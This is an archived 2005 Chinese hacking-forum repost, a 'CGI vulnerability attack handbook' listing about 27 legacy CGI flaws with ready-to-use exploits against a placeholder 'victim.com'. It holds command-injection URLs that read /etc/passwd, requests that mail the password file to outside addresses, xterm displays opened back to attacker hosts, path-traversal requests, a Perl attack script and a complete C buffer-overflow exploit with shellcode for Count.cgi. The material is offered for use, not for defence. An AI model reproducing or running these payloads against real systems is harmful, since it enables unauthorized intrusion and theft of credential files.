邪恶八进制信息安全团队技术讨论组's Archiver

EvilOctal 2005-5-10 17:33

[转载]CGI漏洞攻击手册version-0.02

  文章作者:小许

前言

   在论坛里看到过bamboo写的CGI漏洞利用的文章,我就想把他扩大一些.一直想完善一些再贴上来,但我并没有机会和时间试过所有漏洞,想到论坛里还有那么多同志会来完善的,就取名CGI漏洞攻击手册version-0.02(升级了bamboo的),旨在抛砖引玉,欢迎任意修改,增加...更欢迎任意散播.:)


一. phf漏洞
   这个phf漏洞好象是最经典了,几乎所有的文章都会介绍,可以执行服务器的命令,如显示/etc/passwd:

   lynx [url]http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd[/url]

   但是我们还能找到它吗?

二. php.cgi 2.0beta10或更早版本的漏洞
   可以读nobody权限的所有文件.

   lynx [url]http://www.victim.com/cgi-bin/php.cgi?/etc/passwd[/url]

   php.cgi 2.1版本的只能读shtml文件了. 对于密码文件,同志们要注意一下,也许可能在/etc/master.passwd、/etc/security/passwd等.

三. whois_raw.cgi

   lynx [url]http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd[/url]
   lynx [url]http://www.victim.com/cgi-bin/whois_raw.cgi?fqdn=%0A/usr/X11R6/bin/[/url]
xterm%20-display%20graziella.lame.org:0

四. faxsurvey

   lynx [url]http://www.victim.com/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd[/url]

五. textcounter.pl
   如果服务器上有textcounter.pl,所有人可以以http守护进程的权限执行命令.

   #!/usr/bin/perl
   $URL='[url]http://dtp.kappa.ro/a/test.shtml[/url]';   # please _DO_ _modify_ this
   $EMAIL='[email]pdoru@pop3.kappa.ro[/email],root';        # please _DO_ _modify_ this
   if ($ARGV[0]) {  $CMD=$ARGV[0];}else{
    $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
   }$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\n";
   system({"wget"} "wget", $text, "-O/dev/null");
   system({"wget"} "wget", $text, "-O/dev/null");
   #system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
   #system({"lynx"} "lynx", $text);  

六. 一些版本(1.1)的info2www的漏洞
   $ REQUEST_METHOD=GET ./info2www &#39;(../../../../../../../bin/mail jami </etc/passwd|)&#39;
   $
   You have new mail.
   $

   说实在我不太明白.:(

七. pfdispaly.cgi

   lynx -source \
   &#39;[url]http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd[/url]&#39;

   pfdisplay.cgi还有另外一个漏洞可以执行命令
  
   lynx -dump [url]http://www.victim.com/cgi-bin/pfdispaly.cgi?[/url]&#39;%0A/bin/uname%20-a|&#39;
   or
   lynx -dump \
   [url]http://victim/cgi-bin/pfdispaly.cgi?[/url]&#39;%0A/usr/bin/X11/xclock%20-display%20evil:0.0|&#39;

八. wrap

   lynx [url]http://www.victim.com/cgi-bin/wrap?/../../../../../etc[/url]

九. www-sql
   可以让你读一些受限制的页面如:
   在你的浏览器里输入:[url]http://your.server/protected/something.html:[/url]
   被要求输入帐号和口令.而有www-sql就不必了:

   [url]http://your.server/cgi-bin/www-sql/protected/something.html:[/url]

十. view-source

   lynx [url]http://www.victim.com/cgi-bin/view-source?../../../../../../../etc/passwd[/url]
   
十一.campas

   lynx [url]http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a[/url]

十二.webgais

   telnet [url]www.victim.com[/url] 80
   POST /cgi-bin/webgais HTTP/1.0
   Content-length: 85 (replace this with the actual length of the "exploit"line)
   query=&#39;;mail+drazvan\@pop3.kappa.ro</etc/passwd;echo&#39;&output=subject&domain=paragraph

十三.websendmail

   telnet [url]www.victim.com[/url] 80
   POST /cgi-bin/websendmail HTTP/1.0
   Content-length: xxx (should be replaced with the actual length of the
   string passed to the server, in this case xxx=90)
   receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

十四.handler

   telnet [url]www.victim.com[/url] 80
   GET /cgi-bin/handler/useless_shit;cat  /etc/passwd|?data=DownloadHTTP/1.0
   or
   GET /cgi-bin/handler/blah;xwsh  -display      yourhost.com|?data=Download
   or
   GET /cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab>/bin/sh|<tab>?data=Download

   注意,cat后是TAB键而不是空格,服务器会报告不能打开useless_shit,但仍旧执行下面命令.
  
十五.test-cgi

   lynx [url]http://www.victim.com/cgi-bin/test-cgi?[/url]\whatever
   CGI/1.0 test script report:

   argc is 0. argv is .

   SERVER_SOFTWARE = NCSA/1.4B
   SERVER_NAME = victim.com
   GATEWAY_INTERFACE = CGI/1.1
   SERVER_PROTOCOL = HTTP/1.0
   SERVER_PORT = 80
   REQUEST_METHOD = GET
   HTTP_ACCEPT = text/plain, application/x-html, application/html,
   text/html, text/x-html
   PATH_INFO =
   PATH_TRANSLATED =
   SCRIPT_NAME = /cgi-bin/test-cgi
   QUERY_STRING = whatever
   REMOTE_HOST = fifth.column.gov
   REMOTE_ADDR = 200.200.200.200
   REMOTE_USER =
   AUTH_TYPE =
   CONTENT_TYPE =
   CONTENT_LENGTH =
   得到一些http的目录
   
   lynx [url]http://www.victim.com/cgi-bin/test-cgi?[/url]\help&0a/bin/cat%20/etc/passwd
   这招好象并不管用.:(
   lynx [url]http://www.victim.com/cgi-bin/nph-test-cgi?/[/url]*
   还可以这样试
      GET /cgi-bin/test-cgi?* HTTP/1.0
      GET /cgi-bin/test-cgi?x *
      GET /cgi-bin/nph-test-cgi?* HTTP/1.0
      GET /cgi-bin/nph-test-cgi?x *
      GET /cgi-bin/test-cgi?x HTTP/1.0 *
      GET /cgi-bin/nph-test-cgi?x HTTP/1.0 *

   
十六.对于某些BSD的apache可以:

   lynx [url]http://www.victim.com/root/etc/passwd[/url]
   lynx [url]http://www.victim.com/~root/etc/passwd[/url]
  
十七.htmlscript

   lynx [url]http://www.victim.com/cgi-bin/htmlscript?../../../../etc/passwd[/url]

十八.jj.c

   The demo cgi program jj.c calls /bin/mail without filtering user
   input, so any program based on jj.c could potentially be exploited by
   simply adding a  followed by a Unix command. It may require a
   password, but two known passwords include HTTPdrocks and SDGROCKS. If
   you can retrieve a copy of the compiled program running strings on it
   will probably reveil the password.

   Do a web search on jj.c to get a copy and study the code yourself if
   you have more questions.

十九.Frontpage extensions
   如果你读[url]http://www.victim.com/_vti_inf.html[/url]你将得到FP extensions的版本
   和它在服务器上的路径. 还有一些密码文件如:

   [url]http://www.victim.com/_vti_pvt/service.pwd[/url]
   [url]http://www.victim.com/_vti_pvt/users.pwd[/url]
   [url]http://www.victim.com/_vti_pvt/authors.pwd[/url]
   [url]http://www.victim.com/_vti_pvt/administrators.pwd[/url]

二十.Freestats.com CGI
   没有碰到过,觉的有些地方不能搞错,所以直接贴英文.

   John Carlton  found following.  He developed  an exploit  for the
   free web stats services offered at freestats.com, and supplied the
   webmaster with proper code to patch the bug.

   Start an  account with  freestats.com, and  log in.  Click on the
   area that  says "CLICK  HERE TO  EDIT YOUR  USER PROFILE & COUNTER
   INFO" This will  call up a  file called edit.pl  with your user  #
   and password included in it.  Save this file to your hard disk and
   open it  with notepad.  The only  form of  security in  this is a
   hidden  attribute  on  the  form  element  of your account number.
   Change this from

      *input type=hidden name=account value=your#*

   to

      *input type=text name=account value=""*

   Save your page and load it into your browser.  Their will now be a
   text input box where the hidden element was before.  Simply type a
   # in and push the "click here to update user profile" and all  the
   information that appears  on your screen  has now been  written to
   that user profile.

   But that isn&#39;t the worst of it.  By using frames (2 frames, one to
   hold this page  you just made,  and one as  a target for  the form
   submission) you could change the password on all of their accounts
   with a simple JavaScript function.

   Deep inside the web site authors still have the good old "edit.pl"
   script. It takes some time to reach it (unlike the path described)
   but you can reach it directly at:

      [url]http://www.sitetracker.com/cgi-bin/edit.pl?account=&password=[/url]

二十一.Vulnerability in Glimpse HTTP

   telnet target.machine.com 80
   GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5fyodor\@dhp.com\</etc/passwd;eval$CMD;echo
   HTTP/1.0

二十二.Count.cgi
   该程序只对Count.cgi 24以下版本有效:

   /*###  count.c  ########################################################*/
   #include <stdio.h>
   #include <stdlib.h>
   #include <getopt.h>
   #include <unistd.h>
   #include <sys/socket.h>
   #include <sys/types.h>
   #include <netinet/in.h>
   #include <netdb.h>
   #include <errno.h>

   /* Forwards */
   unsigned long getsp(int);
   int usage(char *);
   void doit(char *,long, char *);

   /* Constants */
   char shell[]=
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
   "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
   "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
   "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
   "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
   "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
   "/usr/X11R6/bin/xterm0-ut0-display0";
   char endpad[]=
   "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
   "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";



   int main (int argc, char *argv[]){
    char *shellcode = NULL;
    int cnt,ver,retcount, dispnum,dotquads[4],offset;
    unsigned long sp;
    char dispname[255];
    char *host;

   
    offset = sp = cnt = ver = 0;
    fprintf(stderr,"\t%s - Gus\n",argv[0]);
    if (argc<3) usage(argv[0]);

    while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
      switch(cnt){
      case &#39;h&#39;:
       host = optarg;
       break;
      case &#39;d&#39;:
       {
      retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
          &dotquads[0],
          &dotquads[1],
          &dotquads[2],
          &dotquads[3], &dispnum);
      if (retcount != 5) usage(argv[0]);
      sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
      dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
      shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
      sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
       }
      break;
      case &#39;v&#39;:
       ver = atoi(optarg);
       break;
      case &#39;o&#39;:
       offset = atoi(optarg);
       break;
      default:
       usage(argv[0]);
       break;
      }
    }
   
    sp = offset + getsp(ver);  


    (void)doit(host,sp,shellcode);

    exit(0);
   }

   unsigned long getsp(int ver) {

    /* Get the stack pointer we should be using. YMMV. If it does not work,
      try using -o X, where x is between -1500 and 1500 */
    unsigned long sp=0;
   
    if (ver == 15) sp = 0xbfffea50;
    if (ver == 20) sp = 0xbfffea50;
    if (ver == 22) sp = 0xbfffeab4;
    if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
    if (sp == 0) {
      fprintf(stderr,"I don&#39;t have an sp for that version try using the -o option.\n");
      fprintf(stderr,"Versions above 24 are patched for this bug.\n");
      exit(1);
    } else {
      return sp;
    }

   }


   int usage (char *name) {
    fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <offset>]\n",name);
    fprintf(stderr,"\te.g. %s -h [url]www.foo.bar[/url] -d 127.0.0.1:0 -v 22\n",name);
    exit(1);
   }

   int openhost (char *host, int port) {
   
    int sock;
    struct hostent *he;
    struct sockaddr_in sa;

    he = gethostbyname(host);
    if (he == NULL) {
      perror("Bad hostname\n");
      exit(-1);
    }

    memcpy(&sa.sin_addr, he->h_addr, he->h_length);
   
    sa.sin_port=htons(port);
    sa.sin_family=AF_INET;
    sock=socket(AF_INET,SOCK_STREAM,0);
    if (sock < 0) {
      perror ("cannot open socket");
      exit(-1);
    }
    bzero(&sa.sin_zero,sizeof (sa.sin_zero));

    if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
      perror("cannot connect to host");
      exit(-1);
    }
   
    return(sock);
   }


   void doit (char *host,long sp, char *shellcode) {

    int cnt,sock;
    char qs[7000];
    int bufsize = 16;
    char buf[bufsize];
    char chain[] = "user=a";
   
    bzero(buf);
      

    for(cnt=0;cnt<4104;cnt+=4) {
      qs[cnt+0] = sp &  0x000000ff;
      qs[cnt+1] = (sp & 0x0000ff00) >> 8;
      qs[cnt+2] = (sp & 0x00ff0000) >> 16;
      qs[cnt+3] = (sp & 0xff000000) >> 24;
    }
    strcpy(qs,chain);
    qs[strlen(chain)]=0x90;

    qs[4104]= sp&0x000000ff;
    qs[4105]=(sp&0x0000ff00)>>8;
    qs[4106]=(sp&0x00ff0000)>>16;
    qs[4107]=(sp&0xff000000)>>24;
    qs[4108]= sp&0x000000ff;
    qs[4109]=(sp&0x0000ff00)>>8;
    qs[4110]=(sp&0x00ff0000)>>16;
    qs[4111]=(sp&0xff000000)>>24;
    qs[4112]= sp&0x000000ff;
    qs[4113]=(sp&0x0000ff00)>>8;
    qs[4114]=(sp&0x00ff0000)>>16;
    qs[4115]=(sp&0xff000000)>>24;
    qs[4116]= sp&0x000000ff;
    qs[4117]=(sp&0x0000ff00)>>8;
    qs[4118]=(sp&0x00ff0000)>>16;
    qs[4119]=(sp&0xff000000)>>24;
    qs[4120]= sp&0x000000ff;
    qs[4121]=(sp&0x0000ff00)>>8;
    qs[4122]=(sp&0x00ff0000)>>16;
    qs[4123]=(sp&0xff000000)>>24;
    qs[4124]= sp&0x000000ff;
    qs[4125]=(sp&0x0000ff00)>>8;
    qs[4126]=(sp&0x00ff0000)>>16;
    qs[4127]=(sp&0xff000000)>>24;
    qs[4128]= sp&0x000000ff;
    qs[4129]=(sp&0x0000ff00)>>8;
    qs[4130]=(sp&0x00ff0000)>>16;
    qs[4131]=(sp&0xff000000)>>24;
    strcpy((char*)&qs[4132],shellcode);

    sock = openhost(host,80);
    write(sock,"GET /cgi-bin/Count.cgi?",23);
    write(sock,qs,strlen(qs));
    write(sock," HTTP/1.0\n",10);
    write(sock,"User-Agent: ",12);
    write(sock,qs,strlen(qs));
    write(sock,"\n\n",2);
    sleep(1);
      
    /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */

    /*
    setenv("HTTP_USER_AGENT",qs,1);
    setenv("QUERY_STRING",qs,1);
    system("./Count.cgi");
    */
   }
  
  用Count.cgi看图片
  
  [img]http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../../../../../path_to_gif/file.gif[/img]


二十三.finger.cgi

   lynx [url]http://www.victim.com/cgi-bin/finger?@localhost[/url]

   得到主机上登陆的用户名.
  
二十四.man.sh

    Robert Moniot  found followung.  The May  1998 issue  of SysAdmin
   Magazine  contains  an  article,  "Web-Enabled  Man  Pages", which
   includes source code for very nice cgi script named man.sh to feed
   man pages  to a  web browser.  The hypertext  links to  other man
   pages are an especially attractive feature.

   Unfortunately, this script is vulnerable to attack.  Essentially,
   anyone who can execute the cgi thru their web browser can run  any
   system commands with the user id of the web server and obtain  the
   output from them in a web page.

二十五.FormHandler.cgi
   在表格里加上
   <INPUT TYPE="hidden" NAME="reply_message_attach" VALUE="text:/tmp/../etc/passwd">
   你的邮箱里就有/etc/passwd

二十六.JFS
   相信大家都看过"JFS 侵入 PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads
   这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样

   先lynx "[url]http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?[/url]
AdNum=31337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%
0a11111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111&Phone=11&Subject=la&pa
ssword=0&CityStPhone=0&Renewed=0"

   创建新AD值绕过 $AdNum 的检查后用

   lynx &#39;[url]http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?[/url]
file=a.jpg&AdNum=11111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111&DataFile=1&Password=0&FILE
_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/
\../../../../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif&#39;

   创建/覆盖用户 nobody 有权写的任何文件.
   不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道?

二十七.backdoor
   看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwshell.pl
   前一个是UnlG写的,我没见过源码,有一个是THC写的,packetstorm里有它1.6版的源码.

页: [1]
© 1999-2008 EvilOctal Security Team